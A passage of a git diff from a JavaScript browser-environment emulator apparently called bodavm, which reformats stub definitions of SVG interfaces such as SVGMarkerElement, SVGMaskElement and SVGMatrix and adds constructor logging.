writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refX", {configurable:true, enumerable:true, get:function refX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refY", {configurable:true, enumerable:true, get:function refY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerUnits", {configurable:true, enumerable:true, get:function markerUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerWidth", {configurable:true, enumerable:true, get:function markerWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerHeight", {configurable:true, enumerable:true, get:function markerHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientType", {configurable:true, enumerable:true, get:function orientType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientAngle", {configurable:true, enumerable:true, get:function orientAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAngle", {configurable:true, enumerable:true, writable:true, value:function setOrientToAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAngle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAuto", {configurable:true, enumerable:true, writable:true, value:function setOrientToAuto (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAuto", arguments)}},'prototype'); +// SVGMarkerElement对象 + +bodavm.memory.globalobj['SVGMarkerElement'] = function SVGMarkerElement() { + console.log_copy('SVGMarkerElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMarkerElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMarkerElement'], "SVGMarkerElement"); +bodavm.memory.globalobj['SVGMarkerElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMarkerElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refX", { + configurable: true, + enumerable: true, + get: function refX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refY", { + configurable: true, + enumerable: true, + get: function refY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerUnits", { + configurable: true, + enumerable: true, + get: function markerUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerWidth", { + configurable: true, + enumerable: true, + get: function markerWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerHeight", { + configurable: true, + enumerable: true, + get: function markerHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientType", { + configurable: true, + enumerable: true, + get: function orientType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientAngle", { + configurable: true, + enumerable: true, + get: function orientAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAngle", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientToAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAngle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAuto", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientToAuto() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAuto", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGMaskElement.js b/env_xbb_lastest_jsdom/env/SVGMaskElement.js index d85ffedb..aa24ff28 100644 --- a/env_xbb_lastest_jsdom/env/SVGMaskElement.js +++ b/env_xbb_lastest_jsdom/env/SVGMaskElement.js @@ -1,13 +1,83 @@ -// SVGMaskElement对象 -bodavm.memory.globalobj['SVGMaskElement'] = function SVGMaskElement(){if (!(this instanceof SVGMaskElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMaskElement'], "SVGMaskElement"); -bodavm.memory.globalobj['SVGMaskElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMaskElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskUnits", {configurable:true, enumerable:true, get:function maskUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskContentUnits", {configurable:true, enumerable:true, get:function maskContentUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskContentUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); +// SVGMaskElement对象 + +bodavm.memory.globalobj['SVGMaskElement'] = function SVGMaskElement() { + console.log_copy('SVGMaskElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMaskElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMaskElement'], "SVGMaskElement"); +bodavm.memory.globalobj['SVGMaskElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMaskElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskUnits", { + configurable: true, + enumerable: true, + get: function maskUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskContentUnits", { + configurable: true, + enumerable: true, + get: function maskContentUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskContentUnits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMaskElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGMatrix.js b/env_xbb_lastest_jsdom/env/SVGMatrix.js index 6677d9ff..cf3e0c5a 100644 --- a/env_xbb_lastest_jsdom/env/SVGMatrix.js +++ b/env_xbb_lastest_jsdom/env/SVGMatrix.js @@ -1,20 +1,165 @@ -// SVGMatrix对象 -bodavm.memory.globalobj['SVGMatrix'] = function SVGMatrix(){if (!(this instanceof SVGMatrix)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMatrix'], "SVGMatrix"); -bodavm.toolsFunc.defineProperty('SVGMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "flipX", {configurable:true, enumerable:true, writable:true, value:function flipX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "flipY", {configurable:true, enumerable:true, writable:true, value:function flipY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "inverse", {configurable:true, enumerable:true, writable:true, value:function inverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "inverse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "multiply", {configurable:true, enumerable:true, writable:true, value:function multiply (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "multiply", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "rotateFromVector", {configurable:true, enumerable:true, writable:true, value:function rotateFromVector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotateFromVector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "scaleNonUniform", {configurable:true, enumerable:true, writable:true, value:function scaleNonUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scaleNonUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "skewX", {configurable:true, enumerable:true, writable:true, value:function skewX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "skewY", {configurable:true, enumerable:true, writable:true, value:function skewY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "translate", arguments)}},'prototype'); +// SVGMatrix对象 + +bodavm.memory.globalobj['SVGMatrix'] = function SVGMatrix() { + console.log_copy('SVGMatrix 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMatrix)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMatrix'], "SVGMatrix"); +bodavm.toolsFunc.defineProperty('SVGMatrix', "a", { + configurable: true, + enumerable: true, + get: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_get", arguments); + }, + set: function a() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "b", { + configurable: true, + enumerable: true, + get: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_get", arguments); + }, + set: function b() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "c", { + configurable: true, + enumerable: true, + get: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_get", arguments); + }, + set: function c() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "d", { + configurable: true, + enumerable: true, + get: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_get", arguments); + }, + set: function d() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "e", { + configurable: true, + enumerable: true, + get: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_get", arguments); + }, + set: function e() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "f", { + configurable: true, + enumerable: true, + get: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_get", arguments); + }, + set: function f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "flipX", { + configurable: true, + enumerable: true, + writable: true, + value: function flipX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "flipY", { + configurable: true, + enumerable: true, + writable: true, + value: function flipY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "inverse", { + configurable: true, + enumerable: true, + writable: true, + value: function inverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "inverse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "multiply", { + configurable: true, + enumerable: true, + writable: true, + value: function multiply() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "multiply", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "rotateFromVector", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateFromVector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotateFromVector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "scaleNonUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function scaleNonUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scaleNonUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "skewX", { + configurable: true, + enumerable: true, + writable: true, + value: function skewX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "skewY", { + configurable: true, + enumerable: true, + writable: true, + value: function skewY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "translate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGMetadataElement.js b/env_xbb_lastest_jsdom/env/SVGMetadataElement.js index dc3b162d..da5a14c8 100644 --- a/env_xbb_lastest_jsdom/env/SVGMetadataElement.js +++ b/env_xbb_lastest_jsdom/env/SVGMetadataElement.js @@ -1,5 +1,19 @@ -// SVGMetadataElement对象 -bodavm.memory.globalobj['SVGMetadataElement'] = function SVGMetadataElement(){if (!(this instanceof SVGMetadataElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMetadataElement'], "SVGMetadataElement"); -bodavm.memory.globalobj['SVGMetadataElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; 